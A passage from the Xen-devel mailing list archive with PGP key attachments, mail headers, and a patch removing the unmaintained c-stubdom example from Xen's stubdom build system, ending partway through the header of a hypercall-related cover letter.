Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5RnNVUJbvoPHZ8SlM4KWm8rG+lIkGurq
qu5gu8q8ZMKds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3fjoYsdFzpWPlJEBRMedCot60g5dmbdrZ5DWClAr0yau47zpWj3enf1tLWaqc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------TH1xNPsNt3QwZwU0jwwtMT98--

--------------5dglv8sBPRTbNKuf8j0W90pC--

--------------0p0xN5eaHpuatzKkU9YY4nTZ
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpFIf8FAwAAAAAACgkQsN6d1ii/Ey9Z
bgf/Wu8DTEd5olwQOtmqjH7ZwdPWG1MLjpuhS1lIBeMEoHMua+PYUDuS9rz61qJSTTdEJeJBujum
OZ7ZN29kKbruI6WeYBAGUxUcKlkafRHCFWr3SyITZzwc30nIoV8fQFdGYzpUvs6n7sgBTkA2qlqG
k4xqQ21z6OzZR+d5ENdJIdNgpACiR9oYRvBB2+m9sh6SWgfHjnhcDc5HziHmkX8Q8RVM9eqM8Hc1
OL3Sx8Yo62I8yvEmlsR+1G8rVr6rzLJeM6OxoMhOTUeXUjaC2NG6LoR+W1i9sXiMAY510Y8j/32U
WtBY9L2tvb0Pw8DyjOOpIhJbYXsyHQfYsWdlenzB0w==
=rEQ7
-----END PGP SIGNATURE-----

--------------0p0xN5eaHpuatzKkU9YY4nTZ--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 14:43:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 14:43:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350041.1607599 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wew9b-0008Sa-5h; Wed, 01 Jul 2026 14:43:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350041.1607599; Wed, 01 Jul 2026 14:43:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wew9b-0008ST-1n; Wed, 01 Jul 2026 14:43:07 +0000
Received: by outflank-mailman (input) for mailman id 1350041;
 Wed, 01 Jul 2026 14:43:05 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wew9Z-0008SM-KJ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 14:43:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wew9Y-0049NV-I0
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 16:43:04 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a452778-e002-0a2a0a5209dd-0a2a4505baea-0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:43:04 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a452778-3cb2-0a2a45050019-c387df8389ec-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:43:04 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id CAEBF76059;
 Wed,  1 Jul 2026 14:43:02 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id A2F2F779AA;
 Wed,  1 Jul 2026 14:43:02 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id k69xJnYnRWrRUwAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 01 Jul 2026 14:43:02 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782916984; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=xGF2+lZzYIrDrm427lt7ssQD3mGyRMVR8LXNsjrebZg=;
	b=peSBuBHedet+PH3Kzhne5hX9O4XePlG5fkEi42h4Asv4h0PbzLDZC4j1G/GlSobbnFuLkN
	Eg7xPgkQjKEJw5QyTPk9fiMVp9RzsRtjbS2emNCAhzd3XAqQXoFDq3nC/AJkzFwOnlBEaT
	bOR1ZNgbsh9vR9V/XcU8YFfTctd+63Y=
Authentication-Results: smtp-out2.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782916982; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=xGF2+lZzYIrDrm427lt7ssQD3mGyRMVR8LXNsjrebZg=;
	b=ur25LJ2ATm6nrtBkHBwiT1Zyl46mc8OpB6GO3c6fyd0l+LOWbJfYs7XblAbJaGw9on0EUL
	ayREc5dxcRnJWnceosDvuWGrHNzEY1b8LZL9Y0okTOHrsNG99Bg9p7gI5LXkzxUdSmAMpZ
	L2LpEmnrjOAXaHpUYcIM9BSBAJTJq3w=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: [PATCH] stubdom: remove c-stubdom
Date: Wed,  1 Jul 2026 16:42:59 +0200
Message-ID: <20260701144259.4077884-1-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spam-Score: -2.80
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_HAS_DN(0.00)[];
	ARC_NA(0.00)[];
	MIME_TRACE(0.00)[0:+];
	TO_DN_SOME(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:email,suse.com:mid,imap1.dmz-prg2.suse.org:helo];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RCPT_COUNT_THREE(0.00)[4];
	RCVD_TLS_ALL(0.00)[]
X-Spam-Level: 
X-purgate-ID: tlsNG-c201ff/1782916984-17D1E2B8-2E324319/0/0
X-purgate-type: clean
X-purgate-size: 5963

C-stubdom was meant as a base for building new Mini-OS based stubdoms.
It hasn't seen any work for many years now and creating new stubdoms
should use UNIKRAFT instead of Mini-OS.

So remove c-stubdom.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 stubdom/Makefile     | 19 -------------------
 stubdom/c/Makefile   | 13 -------------
 stubdom/c/main.c     |  8 --------
 stubdom/c/minios.cfg |  2 --
 stubdom/configure    | 44 --------------------------------------------
 stubdom/configure.ac |  1 -
 6 files changed, 87 deletions(-)
 delete mode 100644 stubdom/c/Makefile
 delete mode 100644 stubdom/c/main.c
 delete mode 100644 stubdom/c/minios.cfg

diff --git a/stubdom/Makefile b/stubdom/Makefile
index 9aa0d3dee4..acd5e56f16 100644
--- a/stubdom/Makefile
+++ b/stubdom/Makefile
@@ -339,17 +339,6 @@ $(TARGETS_MINIOS): mini-os-%:
                 mkdir -p $@/$$i ; \
 	done
 
-###
-# C
-###
-
-c-minios-config.mk: $(CURDIR)/c/minios.cfg
-	MINIOS_CONFIG="$<" CONFIG_FILE="$(CURDIR)/$@" $(MAKE) DESTDIR= -C $(MINI_OS) config
-
-.PHONY: c
-c: $(CROSS_ROOT) c-minios-config.mk
-	CPPFLAGS="$(TARGET_CPPFLAGS) $(shell cat c-minios-config.mk)" CFLAGS="$(TARGET_CFLAGS)" $(MAKE) DESTDIR= -C $@ LWIPDIR=$(CURDIR)/lwip-$(XEN_TARGET_ARCH) 
-
 ######
 # VTPM
 ######
@@ -432,10 +421,6 @@ xenstorepvh: $(CROSS_ROOT) xenstorepvh-minios-config.mk
 # minios
 ########
 
-.PHONY: c-stubdom
-c-stubdom: mini-os-$(XEN_TARGET_ARCH)-c lwip-$(XEN_TARGET_ARCH) libxenguest c
-	DEF_CPPFLAGS="$(TARGET_CPPFLAGS)" DEF_CFLAGS="$(TARGET_CFLAGS)" DEF_LDFLAGS="$(TARGET_LDFLAGS)" MINIOS_CONFIG="$(CURDIR)/c/minios.cfg" $(MAKE) DESTDIR= -C $(MINI_OS) OBJ_DIR=$(CURDIR)/$< LWIPDIR=$(CURDIR)/lwip-$(XEN_TARGET_ARCH) APP_OBJS=$(CURDIR)/c/main.a
-
 .PHONY: vtpm-stubdom
 vtpm-stubdom: mini-os-$(XEN_TARGET_ARCH)-vtpm vtpm
 	DEF_CPPFLAGS="$(TARGET_CPPFLAGS)" DEF_CFLAGS="$(TARGET_CFLAGS)" DEF_LDFLAGS="$(TARGET_LDFLAGS)" MINIOS_CONFIG="$(CURDIR)/vtpm/minios.cfg" $(MAKE) -C $(MINI_OS) OBJ_DIR=$(CURDIR)/$< APP_OBJS="$(CURDIR)/vtpm/vtpm.a" APP_LDLIBS="-ltpm -ltpm_crypto -lgmp -lpolarssl"
@@ -485,8 +470,6 @@ else
 install-grub-if-enabled:
 endif
 
-install-c: c-stubdom
-
 install-xenstore: xenstore-stubdom
 	$(INSTALL_DIR) "$(DESTDIR)$(XENFIRMWAREDIR)"
 	$(INSTALL_DATA) mini-os-$(XEN_TARGET_ARCH)-xenstore/mini-os.gz "$(DESTDIR)$(XENFIRMWAREDIR)/xenstore-stubdom.gz"
@@ -540,13 +523,11 @@ uninstall-vtpmmgr:
 .PHONY: clean
 clean: $(foreach lib,$(STUB_LIBS),clean-libxen$(lib))
 clean:
-	rm -fr mini-os-$(XEN_TARGET_ARCH)-c
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-grub
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-xenstore
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-xenstorepvh
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-vtpm
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-vtpmmgr
-	$(MAKE) DESTDIR= -C c clean
 	$(MAKE) -C vtpm clean
 	$(MAKE) -C vtpmmgr clean
 	rm -fr grub-$(XEN_TARGET_ARCH)
diff --git a/stubdom/c/Makefile b/stubdom/c/Makefile
deleted file mode 100644
index b252dcad0b..0000000000
--- a/stubdom/c/Makefile
+++ /dev/null
@@ -1,13 +0,0 @@
-XEN_ROOT = $(CURDIR)/../..
-
-ifeq (,$(findstring clean,$(MAKECMDGOALS)))
-include $(XEN_ROOT)/Config.mk
-endif
-
-all: main.a
-
-main.a: main.o 
-	$(AR) cr $@ $^
-
-clean:
-	rm -f *.a *.o
diff --git a/stubdom/c/main.c b/stubdom/c/main.c
deleted file mode 100644
index f97a0f72d4..0000000000
--- a/stubdom/c/main.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <stdio.h>
-#include <unistd.h>
-
-int main(void) {
-        sleep(2);
-        printf("Hello, world!\n");
-        return 0;
-}
diff --git a/stubdom/c/minios.cfg b/stubdom/c/minios.cfg
deleted file mode 100644
index 56d65510cd..0000000000
--- a/stubdom/c/minios.cfg
+++ /dev/null
@@ -1,2 +0,0 @@
-CONFIG_LIBC=y
-CONFIG_LWIP=y
diff --git a/stubdom/configure b/stubdom/configure
index e127ef44eb..8a0a798bd2 100755
--- a/stubdom/configure
+++ b/stubdom/configure
@@ -661,7 +661,6 @@ debug
 xenstorepvh
 xenstore
 grub
-c
 host_os
 host_vendor
 host_cpu
@@ -712,7 +711,6 @@ SHELL'
 ac_subst_files=''
 ac_user_opts='
 enable_option_checking
-enable_c_stubdom
 enable_pv_grub
 enable_xenstore_stubdom
 enable_xenstorepvh_stubdom
@@ -1360,7 +1358,6 @@ Optional Features:
   --disable-option-checking  ignore unrecognized --enable/--with options
   --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
   --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
-  --enable-c-stubdom      Build and install c-stubdom (default is DISABLED)
   --enable-pv-grub        Build and install pv-grub (default is DISABLED)
   --disable-xenstore-stubdom
                           Build and install xenstore-stubdom (default is
@@ -2406,47 +2403,6 @@ case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac
 
 # Enable/disable stub domains
 
-# Check whether --enable-c-stubdom was given.
-if test ${enable_c_stubdom+y}
-then :
-  enableval=$enable_c_stubdom;
-
-if test "x$enableval" = "xyes"
-then :
-
-
-c=y
-STUBDOM_TARGETS="$STUBDOM_TARGETS c"
-STUBDOM_BUILD="$STUBDOM_BUILD c-stubdom"
-STUBDOM_INSTALL="$STUBDOM_INSTALL install-c"
-STUBDOM_UNINSTALL="$STUBDOM_UNINSTALL install-c"
-
-
-else $as_nop
-
-if test "x$enableval" = "xno"
-then :
-
-
-c=n
-
-
-fi
-
-fi
-
-
-else $as_nop
-
-
-c=n
-
-
-fi
-
-
-
-
 # Check whether --enable-pv-grub was given.
 if test ${enable_pv_grub+y}
 then :
diff --git a/stubdom/configure.ac b/stubdom/configure.ac
index f07b08c5b3..33f170144e 100644
--- a/stubdom/configure.ac
+++ b/stubdom/configure.ac
@@ -18,7 +18,6 @@ m4_include([../m4/depends.m4])
 m4_include([../m4/fetcher.m4])
 
 # Enable/disable stub domains
-AX_STUBDOM_DEFAULT_DISABLE([c-stubdom], [c])
 AX_STUBDOM_DEFAULT_DISABLE([pv-grub], [grub])
 AX_STUBDOM_DEFAULT_ENABLE([xenstore-stubdom], [xenstore])
 AX_STUBDOM_DEFAULT_ENABLE([xenstorepvh-stubdom], [xenstorepvh])
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 14:45:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 14:45:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350054.1607635 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewC7-0000nY-N5; Wed, 01 Jul 2026 14:45:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350054.1607635; Wed, 01 Jul 2026 14:45:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewC7-0000nR-KO; Wed, 01 Jul 2026 14:45:43 +0000
Received: by outflank-mailman (input) for mailman id 1350054;
 Wed, 01 Jul 2026 14:45:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wewC6-0000mG-FC
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 14:45:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewC5-003l9Q-Dz
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 16:45:41 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a452803-2eae-0a2a0a5409dd-0a2a450be7a6-32
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:45:41 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a452815-ac48-0a2a450b0019-d155dd2cb49a-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:45:41 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-476d8e647e9so709657f8f.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 07:45:41 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db8a450bsm390780f8f.10.2026.07.01.07.45.39
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 07:45:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782917141; x=1783521941; darn=lists.xenproject.org;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=irMRNbgKvuqITnobG7iDWOXfBogQaMWuiiyBaILdGAQ=;
        b=ACry/BGewSTOVcBOT1L21q4RoFjtXYIqYeZUJGUNjUY/Gy9/wklliU3OZaqsfu2g4B
         xtmcogaaIJq2TawIJAPskuZNjrESwzErnHQ1P3d92pNyfHBSnKkp4dTgJJjsqZnjcXRt
         NerTPJ9wS9DO6j7wA9xDmr/SFbabZRdduMaVF2lW+2wMXHlptFjWSsfAODCY7ON6MH+u
         QU5iTSs4jFUyI+lbldC/hJS8WaCllSAeTLKX/kKlKeY2G5RwsXXG4XdoR/aCkzg9e+gx
         BTCpBFtw1rEAzCIzYDertiYZMBbt6+XmYe3+WKRQZvYYE+PQAaIj5TNMft+Na23dqNk+
         7PUg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782917141; x=1783521941;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=irMRNbgKvuqITnobG7iDWOXfBogQaMWuiiyBaILdGAQ=;
        b=gTtay7kt2dI582wH6XEZRIfMKYPzTDXiKI9QhF1kzA99B7/Tml+fEVjm+taL8jKv/o
         JEj+9ON7TTDE4cBdArrhG54vntM1CDWiqaRt7aF/vhQytgUdInfSGkeRfClu5keau1+Q
         YMRA+2kEgtJzbBRrPx3Bv4LVA/wuFS8KEe4UBCqq3R+oh2jzONXHYvplv6zVMyPhXkyx
         65U7r6W2+sAEqdHTHmiD8/ZIns54HMqYxnr5MtAd7Li03qpVMbyFpUaPeldaUAOl5nkB
         wjNjVcy4AfzZNYzOE2R/dnnQJOldZ3HrHjZkUDSCl+FlbdOeclBxV+Amfwdp1L/YCAA/
         t1Og==
X-Gm-Message-State: AOJu0Yw3lcNbbsewqeNLFcE4nN58asq3sGkti7U/xbPgXJMdbRqGCq+l
	V1Xk4o3TkZNyYkHAwT1B4Xs+FbdQiY8x/PHGrLxWd56c2gTRzq1fLbbRq8rX8akgL81sE0J5cMy
	D4NTO+w==
X-Gm-Gg: AfdE7ckdN5nEq1iBR3pcukPUNqpiPywXwoGA9v83sTO96jYVjMegAa0A/EynzDK1JJq
	C9IHOxy/wejNieR8fRCj2KT3mbmfLgkfGxPeJN++/YcwwJGdCS+cSDCE1s4W4vuB2Z+6PRPZZik
	TrFlNmrXNZT0u76PS8bCoQSoM45ADvPTRwHQjKq/OktLxMzw7/xSJSQmbWeiDoay9EsMGHmi/Xb
	VTyjjBWXfkrkUuwjfnH8eJCTqmdP521WGxXbiv/XqcDHAIoMf9EyLBQMrkyBo0k6wgc2hM/NCv4
	oj4kehBEJL5do+mGpjysGtKfG0LTOO8m9XjdRWEIFm0FKr9CvScZOim38sjxu4Tk+HNzsb0xWzz
	YwFFcMB34WmeUTWs2QK2Vf9SmzWnncAtheUfDV7wBEDB6TVhO9UwH0N/sXVQVO23+sLZOOtH/xv
	TrWiMcm4oiqGp+lSGYlFqAxSFqg4CfZj9fUcA5WQvO8n261uvKlsUWNlq5x0clPg+GaIaCvn0zw
	+aAorMyTUuph0c=
X-Received: by 2002:a05:600c:570f:b0:493:ad1b:b38d with SMTP id 5b1f17b1804b1-493c2ba7db3mr22090225e9.37.1782917140681;
        Wed, 01 Jul 2026 07:45:40 -0700 (PDT)
Message-ID: <ba863889-b389-4264-824e-121a5daeba61@suse.com>
Date: Wed, 1 Jul 2026 16:45:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v2 0/2] hypercall string inputs
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Juergen Gross <jgross@suse.com>,
 Daniel Smith <dpsmith@apertussolutions.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
